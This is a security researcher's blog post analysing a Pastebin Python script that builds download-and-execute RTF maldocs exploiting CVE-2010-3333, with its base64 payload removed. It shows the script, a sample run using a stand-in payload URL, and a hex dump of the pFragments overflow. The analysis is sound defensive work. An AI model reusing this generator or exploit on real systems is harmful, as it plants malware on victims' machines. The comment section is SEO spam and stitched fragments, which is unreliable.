Diving into a Simple Maldoc Generator

Published: 2018-05-01
Last Updated: 2018-05-01 06:25:59 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

The number of malicious documents generated every day keeps growing for a while. To produce this huge amount of files, the process must be automated. I found on Pastebin a Python script to generate malicious Office documents. Let’s have a look at it.

(Note: The payload has been removed to prevent the script to be used “as is” by script kiddies)

import binascii
import sys
import time

print "Microsoft Office 2010, download -N- execute "
print " What do you want to name your  .doc ? "
print " Example:   TotallyTrusted.doc "
filename = raw_input()

print " What is the link to your .exe ? "
print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe   "

url = raw_input()

print "Gears and Cranks working  mag1c in the background  "
time.sleep(3)
close="{}}}}}"
binme=binascii.b2a_hex(url)
file=(‘ … base64 content removed … \n')
textfile = open(filename , 'w')
textfile.write(file.decode('base64')+binme+close)
textfile.close()
time.sleep(3)
print “enjoy"

The script is very simple. It asks you for a filename and the URL that will serve the malicious file to be downloaded and executed on the victim's computer. Just be reading the strings '{}}}}', you can guess that the script generates an RTF document.

$ python maldoc_generator.py
Microsoft Office 2010, download -N- execute
 What do you want to name your  .doc ?
 Example:   TotallyTrusted.doc
example.doc
 What is the link to your .exe ?
HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe
http://webserver.com/sample.exe
Gears and Cranks working  mag1c in the background
enjoy

The generated file is indeed a malicious RTF document:

$ file example.doc
example.doc: Rich Text Format data, version 1, unknown character set

Of course, my brand new file was unknown on VT. Let’s upload it and it gets immediately a good (or bad - depending on your position) score of 31/57[1]. This is normal, the payload uses the good old CVE-2010-3333 better known as MS-10-087[2]. You can recognise the RTF keyword 'pFragments' which is the cause of the buffer overflow:

00000500: 7b5c 736e 7b7d 7b7d 7b5c 736e 7d7b 5c73  {\sn{}{}{\sn}{\s
00000510: 6e7d 7b5c 2a5c 2a7d 7046 7261 676d 656e  n}{\*\*}pFragmen
00000520: 7473 7d7b 5c2a 5c2a 5c2a 7d7b 5c2a 5c2a  ts}{\*\*\*}{\*\*
00000530: 5c73 767b 5c2a 7d39 3b32 3b66 6666 6666  \sv{\*}9;2;fffff
00000540: 6666 6666 6623 3035 3030 3030 3030 3030  fffff#0500000000
00000550: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000560: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000570: 6530 6239 3263 3366 4141 4141 4141 4141  e0b92c3fAAAAAAAA
00000580: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA

Today, it is quite easy to find document generators for all types of vulnerabilities and you don't need to go to the dark web for this purpose. CVE-2017-0199 remains a very popular one for a few months.

Just for the fun, I generated the malicious document with the example URL provided in the source code (http://super/eleet/payload.exe) and it was known on VT! Yes, script kiddies are still alive...

[1] https://www.virustotal.com/#/file/4cddfa1c6223ebbd676dbd8fcb46d8b3864ca10c6e40820103e246e7d6d57f3d/detection
[2] https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-087

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 comment(s)
ISC Stormcast For Tuesday, May 1st 2018 https://isc.sans.edu/podcastdetail.html?id=5977

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives